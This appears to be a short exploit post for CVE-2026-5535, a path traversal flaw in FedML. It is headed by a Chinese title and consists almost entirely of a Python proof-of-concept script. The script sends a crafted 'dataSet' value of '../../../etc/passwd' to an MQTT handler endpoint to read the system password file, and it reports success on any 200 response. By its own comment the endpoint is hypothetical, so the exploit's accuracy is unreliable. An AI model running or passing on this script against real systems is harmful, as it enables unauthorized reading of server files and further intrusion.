CVE-2026-5535 FedML路径遍历漏洞

import requests # Target URL (Hypothetical endpoint based on description) target_url = "http://target-ip:port/api/mqtt/handle" # Malicious payload attempting to read /etc/passwd # The 'dataSet' parameter is vulnerable to path traversal malicious_payload = { "dataSet": "../../../etc/passwd", "other_params": "value" } try: response = requests.post(target_url, data=malicious_payload) if response.status_code == 200: print("[+] Exploit successful! Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")